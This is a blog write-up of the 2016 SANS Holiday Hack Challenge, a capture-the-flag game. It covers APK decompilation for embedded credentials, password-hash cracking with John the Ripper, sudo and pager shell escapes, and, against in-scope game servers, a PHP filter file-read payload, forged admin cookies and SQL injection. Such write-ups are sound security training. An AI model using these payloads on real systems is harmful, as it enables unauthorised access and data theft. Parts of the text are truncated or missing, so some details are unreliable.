2016 SANS Holiday Hack Challenge

Posted by Nikolai Magnussen on January 4, 2017

Part 1: A Most Curious Business Card

Right after we are thrown into the game, we are presented with Santa’s business card, which is linking to his twitter and instagram: Business card

1) What is the secret message in Santa’s tweets?

Looking through Santa’s tweets, they seem to form some pattern, so let’s extract them from the website. Lacking an API key, I choose to do this in a hacky manner; by first scrolling to the bottom of Santa’s twitter feed so all his tweets are loaded.

Then, I fired up the firefox Inspector and copied the inner HTML of the stream element containing all the tweets, and dumped the contents into a file for further processing. The twitter dump contain large amounts of empty lines and other uninteresting information; in fact, the dumped file is 76K lines. Luckily, the tweet text has it’s own CSS-class, namely tweet-text, which mean that we can filter away everything else.

❯ grep "tweet-text" twitter.dump

This yield the following: Last letter Which certanly looks like a Y, and is only the last letter, and between each tweet line is a div opening tag, which should be removed by:

❯ grep "tweet-text" twitter.dump | sed -e "/<div.*>/d" > tweets.dump
❯ less tweets.dump

Rotating the output yield the following: Tweets

And we can easily see that the secret message in Santa’s tweets is:


2) What is inside the ZIP file distributed by Santa’s team?

Let’s take look at Santa’s instagram photos. The first image is interesting, and after extracting the image URL, we can more easily look at it: Instagram

On the computer screen, we can see DestinationPath SantaGram_v4.2.zip, and a nmap of www.northpolewonderland.com. So let’s try and combine the two by:

❯ wget www.northpolewonderland.com/SantaGram_v4.2.zip
--2017-01-04 16:22:38--  http://www.northpolewonderland.com/SantaGram_v4.2.zip
Resolving www.northpolewonderland.com (www.northpolewonderland.com)...
Connecting to www.northpolewonderland.com (www.northpolewonderland.com)||:80
HTTP request sent, awaiting response... 200 OK
Length: 1963026 (1.9M) [application/zip]
Saving to: ‘SantaGram_v4.2.zip’

2017-01-04 16:22:43 (468 KB/s) - ‘SantaGram_v4.2.zip’ saved [1963026/1963026]

Lo and behold, we got a file, so now we want to unzip it to see it’s contents:

❯ unzip SantaGram_v4.2.zip
Archive:  SantaGram_v4.2.zip
[SantaGram_v4.2.zip] SantaGram_4.2.apk password: 

Let’s try to use the secret message from Santa as the password. After a number of combinations, I try bugbounty, which yield the decompressed SantaGram_4.2.apk.

Thus, the answer to the question is the ZIP file contains an APK file named SantaGram_4.2.apk.

Part 2: Awesome Package Konveyance

Now that we have the apk, we have to get the contents. This can be achieved in multiple ways, and one of which, I will show. First, we need to know that apk files are actually very closely related to zip files, and can also be extracted like one:

❯ file SantaGram_4.2.apk 
SantaGram_4.2.apk: Zip archive data, at least v2.0 to extract
❯ mv SantaGram_4.2.apk SantaGram_4.2.apk.zip
❯ unzip SantaGram_4.2.apk.zip 
Archive:  SantaGram_4.2.apk.zip
  inflating: AndroidManifest.xml     
  inflating: META-INF/CERT.RSA       
.... Lines removed for brevity ....

Now we have the contents of the APK:

❯ l
total 1.7M
drwxr-xr-x  5 nikolai nikolai 4.0K Jan  4 17:20 .
drwx------ 66 nikolai nikolai 4.0K Jan  4 17:21 ..
-rw-rw-rw-  1 nikolai nikolai 5.7K Dec 31  1979 AndroidManifest.xml
drwxr-xr-x  2 nikolai nikolai 4.0K Jan  4 17:19 assets
-rw-r--r--  1 nikolai nikolai 1.5M Dec 31  1979 classes.dex
drwxr-xr-x  2 nikolai nikolai 4.0K Jan  4 17:19 META-INF
drwxr-xr-x 30 nikolai nikolai 4.0K Jan  4 17:19 res
-rw-rw-rw-  1 nikolai nikolai 223K Dec 31  1979 resources.arsc

The code and classes are contained in the classes.dex file, which can be extracted using dex2jar as such:

❯ dex2jar classes.dex 
dex2jar classes.dex -> ./classes-dex2jar.jar

And jar files, too are very closely related to zip files, and can be handled in the same manner:

❯ file classes-dex2jar.jar 
classes-dex2jar.jar: Zip archive data, at least v1.0 to extract
❯ mv classes-dex2jar.jar classes-dex2jar.jar.zip
❯ unzip classes-dex2jar.jar.zip
Archive:  classes-dex2jar.jar.zip
  inflating: a/a.class               
  inflating: a/b$1.class             
  inflating: a/b$a.class         
.... Lines removed for brevity ....

These class files contain java bytecode and can be decompiled using a java decompiler, and I will be using jad recursively into a newly created directory:

❯ jad -d classes_decompiled -s java -r **/*.class
Parsing a/a.class...The class file version is 50.0 (only 45.3, 46.0 and 47.0 are supported)
 Generating classes_decompiled/a/a.java
Parsing a/b.class...The class file version is 50.0 (only 45.3, 46.0 and 47.0 are supported)
Parsing inner class a/b$a.class...The class file version is 50.0 (only 45.3, 46.0 and 47.0 are supported)
Parsing inner class a/b$1.class...The class file version is 50.0 (only 45.3, 46.0 and 47.0 are supported)
 Generating classes_decompiled/a/b.java
.... Lines removed for brevity ....

Now, the contents of the decompiled java can be found in the directory classes_decompiled.

3) What username and password are embedded in the APK file?

Because the username and password are embedded in the APK file, we want a tool for searching through the java files for the password and the username. I choose to use ripgrep which is a Rust tool written for very fast source code search, but grep can also be used:

❯ rg password
420:            throw new IllegalArgumentException("Must specify a password for the user to log in with");
778:    public static void requestPasswordResetInBackground(String s, RequestPasswordResetCallback requestpasswordresetcallback)
.... Lines removed for brevity ....
85:            jsonobject.put("password", "busyreindeer78");

130:            jsonobject.put("password", "busyreindeer78");
.... Lines removed for brevity ....

From which, we see that the password is busyreindeer78.

Extracting the username is done in the same manner:

❯ rg username
84:            jsonobject.put("username", "guest");

129:            jsonobject.put("username", "guest");
.... Lines removed for brevity ....

And it seem that the username is guest.

Thus, the embedded username is guest and password is busyreindeer78.

4) What is the name of the audible component (audio file) in the SantaGram APK file?

Because the audio file is an audible component of the APK, it should be refered to by at least one file, so let’s go back to the root directory of the APK and search known audio files; the most obvious being mp3:

❯ rg mp3          
702:Name: res/raw/discombobulatedaudio1.mp3

701:Name: res/raw/discombobulatedaudio1.mp3

Based on the question and the file names, this seem to be the corret file, meaning the name of the audible component is:


Part 3: A Fresh-Baked Holiday Pi

After going through the portal in Santa’s sack, you end up on the north pole, where Holly Evergreen is waiting for you and tells you: Pi in pieces

Then, we should start looking for the pieces; whatever they may be. After you walk into town and talk to one of the elves you get to know that you are looking for pieces of a Cranberri Pi: Cranberry sleigh

And at the far west, and a little south, you find Elf House 1:

House 1

And inside the Secret Fireplace Room you find part 1/5, namely the Cranberry Pi Board:


The first house on the east side of the bridge into town is Elf House 2, and if you take the stairs up to the second floor, you will find the Heatsink, which is part 2/5:

House 2 second floor

Located just north of the christmas tree, behind the snowman you will find the Power Cord, which is part 3/5:

Outside snowman

Climbing up the ladders to the top, the workshop is discovered, and on the west side, you will see part 4/5, which is the SD Card:

Outside workshop west

Finally, walking into the workshop and down the stairs, you will find the final part, the HDMI Cable:


Now that all parts are located, we return to Holly for some information:


After downloading the image, we must unzip it:

❯ unzip cranbian.img.zip 
Archive:  cranbian.img.zip
  inflating: cranbian-jessie.img    

5) What is the password for the “cranpi” account on the Cranberry Pi system?

Now that we have the image, we want to retrieve the password for the account “cranpi”.

The cranbian-jessie.img is simply a dump of the disk, meaning it will contain a partition table and partitions that can be mounted. Lets use fdisk:

❯ fdisk cranbian-jessie.img                                                                                                          ⏎

Welcome to fdisk (util-linux 2.28.2).
Changes will remain in memory only, until you decide to write them.
Be careful before using the write command.

Command (m for help): p
Disk cranbian-jessie.img: 1.3 GiB, 1389363200 bytes, 2713600 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x5a7089a1

Device               Boot  Start     End Sectors  Size Id Type
cranbian-jessie.img1        8192  137215  129024   63M  c W95 FAT32 (LBA)
cranbian-jessie.img2      137216 2713599 2576384  1.2G 83 Linux

This mean that the second partition can be mounted and will contain the root file system. For this, we use mount with the offset option, and the offset is calculated as sector size * start sector, which here will be:

❯ python -c "print(512 * 137216)" 

Meaning that we can mount using:

❯ sudo mount -v -o offset=70254592 -t ext4 cranbian-jessie.img /mnt/device 
mount: /dev/loop0 mounted on /mnt/device.
❯ ls /mnt/device 
bin  boot  dev  etc  home  lib  lost+found  media  mnt  opt  proc  root  run  sbin  srv  sys  tmp  usr  var

And we have succesfully mounted the partition. Now, we just have to crack the password. As most if not all modern linux kernels, two files are used for user authentication;

  • /etc/passwd which contain information such as username, uid, gid, home directory
  • /etc/shadow which among other things contain the username along with hashed passwords.

But the password is hashed, and we have to crack the password, where John The Ripper can be of assistance, as well as the RockYou wordlist. So we have to get the RockYou wordlist:

❯ wget https://downloads.skullsecurity.org/passwords/rockyou.txt.bz2
--2017-01-04 21:45:18--  https://downloads.skullsecurity.org/passwords/rockyou.txt.bz2
Connecting to downloads.skullsecurity.org (downloads.skullsecurity.org)||:443
HTTP request sent, awaiting response... 200 OK
Length: 60498886 (58M) [application/octet-stream]
Saving to: ‘rockyou.txt.bz2’

2017-01-04 21:53:03 (128 KB/s) - ‘rockyou.txt.bz2’ saved [60498886/60498886]
❯ bunzip2 rockyou.txt.bz2 

But before we run john, we have to combine /etc/passwd and /etc/shadow by using unshadow, which is a part of the John the ripper toolkit:

❯ sudo unshadow /mnt/device/etc/passwd /mnt/device/etc/shadow > unshadowed.db
❯ john --wordlist=rockyou.txt unshadowed.db 
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 64/64 OpenSSL])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
yummycookies     (cranpi)
1g 0:00:04:32 DONE (2017-01-04 22:02) 0.003672g/s 1668p/s 1668c/s 1668C/s yves69..yoyojojo

The password for the cranpi account on the Cranberry Pi is yummycookies.

6) How did you open each terminal door and where had the villain imprisoned Santa?

After cracking the password, we have to tell the password to Holly that tells us that we can now access the terminals around the town:


First, we go to Elf House 2:

House 2

And accessing the terminal promt us with:

*                                                                             *
*To open the door, find both parts of the passphrase inside the /out.pcap file* 
*                                                                             *

Upon inspection of the root directory we get:

scratchy@7359d0309dd1:/$ ls -lah
total 1.2M
drwxr-xr-x  46 root  root  4.0K Jan  4 21:22 .
drwxr-xr-x  46 root  root  4.0K Jan  4 21:22 ..
-rwxr-xr-x   1 root  root     0 Jan  4 21:22 .dockerenv
drwxr-xr-x   2 root  root  4.0K Dec  1 21:18 bin
drwxr-xr-x   2 root  root  4.0K Sep 12 04:09 boot
drwxr-xr-x   5 root  root   380 Jan  4 21:22 dev
drwxr-xr-x  46 root  root  4.0K Jan  4 21:22 etc
drwxr-xr-x   5 root  root  4.0K Dec  7 20:22 home
drwxr-xr-x  10 root  root  4.0K Dec  1 21:18 lib
drwxr-xr-x   2 root  root  4.0K Nov  4 18:29 lib64
drwxr-xr-x   2 root  root  4.0K Nov  4 18:28 media
drwxr-xr-x   2 root  root  4.0K Nov  4 18:28 mnt
drwxr-xr-x   2 root  root  4.0K Nov  4 18:28 opt
-r--------   1 itchy itchy 1.1M Dec  2 15:05 out.pcap
dr-xr-xr-x 350 root  root     0 Jan  4 21:22 proc
drwx------   2 root  root  4.0K Nov  4 18:28 root
drwxr-xr-x   3 root  root  4.0K Nov  4 18:28 run
drwxr-xr-x   2 root  root  4.0K Nov  4 18:30 sbin
drwxr-xr-x   2 root  root  4.0K Nov  4 18:28 srv
dr-xr-xr-x  13 root  root     0 Dec 14 14:13 sys
drwxrwxrwt   2 root  root  4.0K Dec  7 20:22 tmp
drwxr-xr-x  15 root  root  4.0K Dec  1 21:18 usr
drwxr-xr-x  17 root  root  4.0K Dec  2 15:13 var

Which mean that only root or itchy can read the out.pcap file. Let’s see if we can use sudo:

scratchy@7359d0309dd1:/$ sudo -l
sudo: unable to resolve host 7359d0309dd1
Matching Defaults entries for scratchy on 7359d0309dd1:
    env_reset, mail_badpass,

User scratchy may run the following commands on 7359d0309dd1:
    (itchy) NOPASSWD: /usr/sbin/tcpdump
    (itchy) NOPASSWD: /usr/bin/strings

Which mean that we can use both tcpdump and strings as itchy without a password. Let’s first try to use strings:

scratchy@7359d0309dd1:/$ sudo -u itchy strings out.pcap | more
sudo: unable to resolve host 7359d0309dd1
BGET /firsthalf.html HTTP/1.1
User-Agent: Wget/1.17.1 (darwin15.2.0)
Accept: */*
Accept-Encoding: identity
Connection: Keep-Alive
OHTTP/1.0 200 OK
.... Lines removed for brevity ....
<input type="hidden" name="part1" value="santasli" />
DGET /secondhalf.bin HTTP/1.1
User-Agent: Wget/1.17.1 (darwin15.2.0)
Accept: */*
Accept-Encoding: identity
Connection: Keep-Alive
.... Lines removed for brevity ....

Which mean that the password is divided into two parts, one that is contained in the hidden field of the firsthalf.html document and has the value santasli.

Further, we see that the second part is a binary file, which can’t be extracted using strings, and we have to use tcpdump. But because I am not very comfortable with tcpdump and prefer wireshark, I will extract the data from the system using base64:

scratchy@6b813b8d621f:/$ sudo -u itchy tcpdump -r /out.pcap -w /tmp/out.pcap
scratchy@6b813b8d621f:/$ base64 < /tmp/out.pcap
.... Lines removed for brevity ....

Using Chromium’s Developer Tools, each line that will be printed to the terminal will also be logged to the console, where it can be saved. After the file is saved, the data must be extracted:

❯ base64 -d -i < out.pcap.base64 > out.pcap

Upon viewing this in Wireshark, missing packets are reported. When following the TCP stream, saving it to a file and removing the response header, binwalk discover nothing, as well as the content length being much greater than the size of the actual data.

I then resorted to guessing that the password would be santaslittlehelper, which was correct.

Next up is the terminal leading to the second floor of the Workshop:

Workshop 2

Accessing the terminal prompt us with:

*                                                                             *
* To open the door, find the passphrase file deep in the directories.         * 
*                                                                             *

Let’s first try to find something that contain either pass, secret or a .txt-file:

elf@e00c10ed7762:~$ find . -iname "*pass*"
elf@e00c10ed7762:~$ find . -iname "*secret*"
./.doormat/. / /\/\\/Don't Look Here!/secret
elf@e00c10ed7762:~$ find . -iname "*.txt"
./.doormat/. / /\/\\/Don't Look Here!/You are persistent, aren't you?/'/key_for_the_door.txt

My best hunch is that key_for_the_door.txt is the winner, so let’s try to get it’s content:

elf@b2faeb120ffa:~$ cat .doormat/.\ /\ /\\/\\\\/Don\'t\ Look\ Here\!/You\ are\ persistent,\ aren\'t\ you?/\'/key_for_the_door.txt
 key: open_sesame

And the passphrase is open_sesame.

Next up is the terminal inside Santa’s office:

![Santa office](http://thoughts.magnussen.tf/assets/2017/01/04/2016-SANS-Holiday-Hack-Challenge/place_santa_office.png

Accesing the terminaly, you are met with the line GREETINGS PROFESSOR FALKEN, wheras you shoud reply according to the movie WarGames which is highly recomended to watch if you have not done so yet, and if you have, you should rewatch it! If we finish the conversation, we get the key:




I'm fine. How are you?


People sometimes make mistakes.


Love to. How about Global Thermonuclear War?


Later. Let's play Global Thermonuclear War.


,------~~v,_         _                     _--^\
|'          \   ,__/ ||                 _/    /,_ _
/             \,/     /         ,,  _,,/^         v v-___
|                    /          |'~^                     \
\                   |         _/                     _ _/^
 \                 /         /                   ,~~^/ |
  ^~~_       _ _   /          |          __,, _v__\   \/
      '~~,  , ~ \ \           ^~       /    ~   //
	  \/     \/             \~,  ,/          
      UNITED STATES                   SOVIET UNION
    2.    SOVIET UNION



Las Vegas

Press Enter To Continue

Which gives us the key LOOK AT THE PRETTY LIGHTS.

Now, we head to the door to the right of the reindeers:


Where we are greeted with:

*                                                                             *
* Find the passphrase from the wumpus.  Play fair or cheat; it's up to you.   * 
*                                                                             *

We decide to cheat, and the easy way is to simply extract the binary to the host machine by using base64:

elf@0cd3bf69f734:~$ base64 < wumpus 
.... Lines removed for brevity ....

After the binary is extracted to the host machine, we can run it using GDB:

❯ gdb wumpus
GNU gdb (GDB) 7.12
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-pc-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
Find the GDB manual and other documentation resources online at:
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from wumpus...(no debugging symbols found)...done.

And by using GDB’s autocomplete feature for function names that we can call, we see that there exist two functions that deal with wump, namely kill_wump and wump_kill, where one is the player being killed, and the other wumpus being killed.

gdb-peda$ call 
Display all 132 possibilities? (y or n)
.... Lines removed for brevity ....
initialize_things_in_cave      shoot
instructions                   shoot_self
int_compare                    srandom
isatty                         srandom@plt
isatty@plt                     stderr
jump                           stderr@@GLIBC_2.2.5
kill_wump                      stdin
lastchance                     stdin@@GLIBC_2.2.5
level                          stdout
malloc@plt                     wump_kill
move_to                        wump_nearby
move_wump                      wumpus_loc
.... Lines removed for brevity ....
gdb-peda$ start
Temporary breakpoint 1, 0x0000000000400d2a in main ()
gdb-peda$ call kill_wump()
*thwock!* *groan* *crash*

A horrible roar fills the cave, and you realize, with a smile, that you
have slain the evil Wumpus and won the game!  You don't want to tarry for
long, however, because not only is the Wumpus famous, but the stench of
dead Wumpus is also quite well known, a stench plenty enough to slay the
mightiest adventurer at a single whiff!!

$2 = 0x18

And we can see that the passphrase is WUMPUS IS MISUNDERSTOOD.

Lastly, we have the train station:


Activating the train terminal, we are greeted with a Train Managment Console:

Train Management Console: AUTHORIZED USERS ONLY
                ==== MAIN MENU ====
STATUS:                         Train Status
BRAKEON:                        Set Brakes
BRAKEOFF:                       Release Brakes
START:                          Start Train
HELP:                           Open the help document
QUIT:                           Exit console

If we drop into help, we get the help served in less, which mean that we can run commands from it the same way as with vim; by starting with :!:

ActivateTrain  TrainHelper.txt  Train_Console
!done  (press RETURN)
Press Enter to initiate time travel sequence.

The train is a time-machine!, and we are traveling back to 1978, where Holly also stood:

1978 start

After searching around the town, you finally discover Santa in his Dungeon For Errant Reindeer (DFER) in his Workshop:

1978 santa

The passwords to the terminals are:

  • Elf House 2: santaslittlehelper
  • To Santa’s office: open_sesame
  • Bookshelf in Santa’s office: LOOK AT THE PRETTY LIGHTS

Part 4: My Gosh… It’s Full of Holes

By uploading the APK to Fallible, we get a few API’s:


Which boil down to the following servers:

  • analytics.northpolewonderland.com
  • ads.northpolewonderland.com
  • dev.northpolewonderland.com
  • dungeon.northpolewonderland.com
  • ex.northpolewonderland.com

Which can be resolved by:

❯ drill analytics.northpolewonderland.com
analytics.northpolewonderland.com.	1800	IN	A
❯ drill ads.northpolewonderland.com
ads.northpolewonderland.com.	1800	IN	A
❯ drill dev.northpolewonderland.com
dev.northpolewonderland.com.	1799	IN	A
❯ drill dungeon.northpolewonderland.com
dungeon.northpolewonderland.com.	1800	IN	A
❯ drill ex.northpolewonderland.com
ex.northpolewonderland.com.	1800	IN	A

When asking Tom Hessman about these IP’s, we get the green light for all of them:


7) Which vulnerabilities did you discover and exploit?


Talking to Pepper Minstix, we get a copy of the game Dungeon, located here


First, we have to get it and unzip it:

❯ wget northpolewonderland.com/dungeon.zip
--2017-01-05 03:35:22--  http://northpolewonderland.com/dungeon.zip
Resolving northpolewonderland.com (northpolewonderland.com)...
Connecting to northpolewonderland.com (northpolewonderland.com)||:80
HTTP request sent, awaiting response... 200 OK
Length: 179226 (175K) [application/zip]
Saving to: ‘dungeon.zip’
2017-01-05 03:35:24 (143 KB/s) - ‘dungeon.zip’ saved [179226/179226]
❯ unzip dungeon 
Archive:  dungeon.zip
   creating: dungeon/
  inflating: dungeon/dtextc.dat      
  inflating: dungeon/dungeon

Dungeon has a built-in debugger, which is accessed from within the game using the GDT command, as referenced here:

❯ ./dungeon
chroot: No such file or directory
Welcome to Dungeon.			This version created 11-MAR-78.
You are in an open field west of a big white house with a boarded
front door.
There is a small wrapped mailbox here.
Valid commands are:
AA- Alter ADVS          DR- Display ROOMS
AC- Alter CEVENT        DS- Display state
AF- Alter FINDEX        DT- Display text
AH- Alter HERE          DV- Display VILLS
AN- Alter switches      DX- Display EXITS
AO- Alter OBJCTS        DZ- Display PUZZLE
AR- Alter ROOMS         D2- Display ROOM2
AV- Alter VILLS         EX- Exit
AX- Alter EXITS         HE- Type this message
AZ- Alter PUZZLE        NC- No cyclops
DA- Display ADVS        ND- No deaths
DC- Display CEVENT      NR- No robber
DF- Display FINDEX      NT- No troll
DH- Display HACKS       PD- Program detail
DL- Display lengths     RC- Restore cyclops
DM- Display RTEXT       RD- Restore deaths
DN- Display switches    RR- Restore robber
DO- Display OBJCTS      RT- Restore troll
DP- Display parser      TK- Take

Because I do not know where I should end up, I want to enumerate all the rooms, and we can see that it is possible to change many things, including the room. The rooms are numbered in an ordered fashion starting from 0 and going up. We can activate GDT to pick a room, then leave GDT and look, which repeats, but with a changing room number:

❯ cat crawl.py
for i in range(1000):
❯ ./crawl.py | ./dungeon
Welcome to Dungeon.			This version created 11-MAR-78.
You are in an open field west of a big white house with a boarded
front door.
There is a small wrapped mailbox here.
>GDT>Old=      2      New= GDT>>It is pitch dark.  You are likely to be eaten by a grue.
>GDT>Old=      0      New= GDT>>It is pitch dark.  You are likely to be eaten by a grue.
>GDT>Old=      1      New= GDT>>You are in an open field west of a big white house with a boarded
front door.
There is a small wrapped mailbox here.
.... Lines removed for brevity ....

Searching through this output, we find:

>GDT>Old=    191      New= GDT>>You have mysteriously reached the North Pole. 
In the distance you detect the busy sounds of Santa's elves in full 

You are in a warm room, lit by both the fireplace but also the glow of 
centuries old trophies.
On the wall is a sign: 
        Songs of the seasons are in many parts 
        To solve a puzzle is in our hearts
        Ask not what what the answer be,
        Without a trinket to satisfy me.
The elf is facing you keeping his back warmed by the fire.

Which mean that we must give something to the elf, so we have to look more through the results of the enumeration, and among other items, we find:

>GDT>Old=     79      New= GDT>>You are in a large room with a prominent doorway leading to a down
staircase.  To the west is a narrow twisting tunnel.  Above you is a
large dome painted with scenes depicting elvish hacking rites.  Up
around the edge of the dome (20 feet up) is a wooden railing.  In the
center of the room there is a white marble pedestal.
Sitting on the pedestal is a flaming torch, made of ivory.

And if we try to give that torch to the elf, we get the following game:

❯ ./dungeon
Welcome to Dungeon.			This version created 11-MAR-78.
You are in an open field west of a big white house with a boarded
front door.
There is a small wrapped mailbox here.
Old=      2      New= 80
>take torch
Old=     80      New= 192
>give elf torch
The elf, satisified with the trade says - 
Try the online version for the true prize
The elf says - you have conquered this challenge - the game will now end.
Your score is 14 [total of 585 points], in 2 moves.
This gives you the rank of Beginner.
The game is over.

We have the game server, but which port? Let’s nmap it:

❯ nmap -sC
Starting Nmap 7.40 ( https://nmap.org ) at 2017-01-05 04:08 CET
Nmap scan report for (
Host is up (0.15s latency).
Not shown: 995 closed ports
22/tcp    open     ssh
| ssh-hostkey: 
|   1024 c0:5a:84:94:cf:6f:b9:23:c8:23:32:66:2d:e2:e7:6e (DSA)
|   2048 c4:cf:f2:c3:c5:63:26:bb:34:ab:b6:fe:a0:73:91:49 (RSA)
|_  256 78:4a:3e:2f:24:d1:14:eb:6e:53:7d:5a:6c:0a:42:af (ECDSA)
25/tcp    filtered smtp
80/tcp    open     http
|_http-title: About Dungeon
11111/tcp open     vce
13456/tcp filtered unknown

Let’s try to connect to the server using netcat:

❯ nc 11111     
>give elf torch
The elf, satisified with the trade says - 
send email to "peppermint@northpolewonderland.com" for that which you seek.
The elf says - you have conquered this challenge - the game will now end.

After sending an e-mail to peppermint@northpolewonderland.com, you receive a file named discombobulatedaudio3.mp3.

We figure out this site uses the Meteor framework. By using the Meteor Miner script, we see that there is a collection called HomeQuotes. This can accessed by simply calling HomeQuotes.find().fetch() in my web-browser’s javascript console. And the url is located in the last object: http://ads.northpolewonderland.com/ofdAR4UYRaeNxMg/discombobulatedaudio5.mp3

Uncaught Exception Handler

Here, we can use PHP filter to try and extract information by reading the crash dump. This can be achieved by performing the following request:

POST /exception.php HTTP/1.1
Host: ex.northpolewonderland.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 124

	"operation": "ReadCrashDump",
	"data": {
		"crashdump": "php://filter/convert.base64-encode/resource=exception"

Which will yield the following response:

# Audio file from Discombobulator in webroot: discombobulated-audio-6-XyzE3N9YqKNH.mp3
# Code from http://thisinterestsme.com/receiving-json-post-data-via-php/
# Make sure that it is a POST request.
if(strcasecmp($_SERVER['REQUEST_METHOD'], 'POST') != 0){
    die("Request method must be POST\n");

Debug Server

We have to enable debugging in the APK by using:

apktool d SantaGram.apk
vim res/values/strings.xml

And set false to true in the XML before repacking the APK:

apktool b -f .SantaGram_4.2 -o heckd

Before we deploy the apk, we have to sign it:

mkdir keys
keytool -genkey -v -keystore keys/heckd.keystore -alias lol -keyalg RSA -keysize 1024 -sigalg SHA1withRSA -validity 10000
jarsigner -sigalg SHA1withRSA -digestalg SHA1 -keystore keys/hekd.keystore ./hekd.apk hekd

After deploying it and proxying through Burp, we get the following request:

POST /index.php HTTP/1.1
Content-Type: application/json
User-Agent: Dalvik/2.1.0 (Linux; U; Android 5.0; Google Nexus 4 - 5.0.0 - API 21 - 768x1280_1 Build/LRX21M)
Host: dev.northpolewonderland.com
Connection: close
Accept-Encoding: gzip
Content-Length: 144

{"date":"20161227224804-0500","udid":"8dce4456f734bf81","debug":"com.northpolewonderland.santagram.EditProfile, EditProfile","freemem":85719500}

Which get the following response:

HTTP/1.1 200 OK
Server: nginx/1.6.2
Date: Wed, 28 Dec 2016 03:48:05 GMT
Content-Type: application/json
Connection: close
Content-Length: 250

{"date":"20161228034805","status":"OK","filename":"debug-20161228034805-0.txt","request":{"date":"20161227224804-0500","udid":"8dce4456f734bf81","debug":"com.northpolewonderland.santagram.EditProfile, EditProfile","freemem":85719500,"verbose":false}}

So, what if we try to set verbose to truein our next request? The we get some more information:

HTTP/1.1 200 OK
Server: nginx/1.6.2
Date: Wed, 28 Dec 2016 03:51:32 GMT
Content-Type: application/json
Connection: close
Content-Length: 719

{"date":"20161228035132","date.len":14,"status":"OK","status.len":"2","filename":"debug-20161228035132-0.txt","filename.len":26,"request":{"date":"20161227224804-0500","udid":"8dce4456f734bf81","debug":"com.northpolewonderland.santagram.EditProfile, EditProfile","freemem":0,"verbose":true},"files":["debug-20161224235959-0.mp3","debug-20161228033632-0.txt","debug-20161228033648-0.txt","debug-20161228033732-0.txt","debug-20161228033753-0.txt","debug-20161228033818-0.txt","debug-20161228034635-0.txt","debug-20161228034805-0.txt","debug-20161228034916-0.txt","debug-20161228035048-0.txt","debug-20161228035050-0.txt","debug-20161228035052-0.txt","debug-20161228035122-0.txt","debug-20161228035132-0.txt","index.php"]}

In the files array, we see different files, and among them, an audio file.

Mobile Analytics - credentialed login

We use the credetials we found in the APK; username guest and password busyreindeer78, and simply click the MP3 link in the navigation bar. Then we get access to an audio file named discombobulatedaudio2.mp3.

Mobile Analytics - post authentication

First we nmap the server:

❯ nmap -sC
Starting Nmap 7.40 ( https://nmap.org ) at 2017-01-05 05:09 CET
Nmap scan report for (
Host is up (0.20s latency).
Not shown: 998 filtered ports
22/tcp  open  ssh
| ssh-hostkey: 
|   1024 5d:5c:37:9c:67:c2:40:94:b0:0c:80:63:d4:ea:80:ae (DSA)
|   2048 f2:25:e1:9f:ff:fd:e3:6e:94:c6:76:fb:71:01:e3:eb (RSA)
|_  256 4c:04:e4:25:7f:a1:0b:8c:12:3c:58:32:0f:dc:51:bd (ECDSA)
443/tcp open  https
| http-git: 
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|_    Last commit message: Finishing touches (style, css, etc) 
| http-title: Sprusage Usage Reporter!
|_Requested resource was login.php
| ssl-cert: Subject: commonName=analytics.northpolewonderland.com
| Subject Alternative Name: DNS:analytics.northpolewonderland.com
| Not valid before: 2016-12-07T17:35:00
|_Not valid after:  2017-03-07T17:35:00
|_ssl-date: TLS randomness does not represent time
| tls-nextprotoneg: 
|_  http/1.1

And get that there is a git repository there, so we download it, and restore the deleted files:

❯ wget -r --no-parent https://analytics.northpolewonderland.com/.git/
❯ cd analytics.northpolewonderland.com 
❯ git checkout -- .

We see that edit.php is only accessible for the administrator user, but the code for generating the cookies is also available for us, so we can create our own:


	define('KEY', "\x61\x17\xa4\x95\xbf\x3d\xd7\xcd\x2e\x0d\x8b\xcb\x9f\x79\xe1\xdc");

	function decrypt($data) {
		return mcrypt_decrypt(MCRYPT_ARCFOUR, KEY, $data, 'stream');
	function encrypt($data) {
		return mcrypt_encrypt(MCRYPT_ARCFOUR, KEY, $data, 'stream');

	$cookie = "82532b2136348aaa1fa7dd2243da1cc9fb13037c49259e5ed70768d4e9baa1c80b97fee8bca82880fc78ba78c49e0753b14348637bec";
	$kake = json_decode(decrypt(pack("H*",$cookie)), true);
	$shit['username'] = "administrator";
	$torsk = bin2hex(encrypt(json_encode($kake)));
	print $torsk;

And that cookie can then be used to gain administrator privilegies, and thus acces the edit page.

We see that we can update a report, but not set the query because it is not in the html. But the can intercept the request, add the query parameter with the value equal to:

SELECT * FROM `audio`;

Now, we access the report via view.php, and we get two files listed:

id username filename mp3 20c216bc-b8b1-11e6-89e1-42010af00008 guest discombobulatedaudio2.mp3 3746d987-b8b1-11e6-89e1-42010af00008 administrator discombobulatedaudio7.mp3

The actual MP3 is a field, but because it is not possilbe to render the octet stream that is the MP3 file as printable text, we have to use another trick, namely base64, which is supported by the dbms, and we change the query to:

SELECT filename, TO_BASE64(mp3) FROM `audio`;

Then go to the view, copy the base64-encoded mp3 and decode it.

8) What are the names of the audio files you discovered from each system above?

The following audio files originate from the following sources:

  • SantaGram APK: discombobulatedaudio1.mp3
  • Mobile Analytics credentials: discombobulatedaudio2.mp3
  • Dungeon: discombobulatedaudio3.mp3
  • Debug Server: debug-20161224235959-0.mp3
  • Banner Ad Server: discombobulatedaudio5.mp3
  • Uncaught Exception Handler: discombobulated-audio-6-XyzE3N9YqKNH.mp3
  • Mobile Analytics post auth: discombobulatedaudio7.mp3

Part 5: Discombobulated Audio

9) Who is the villain behind the nefarious plot.

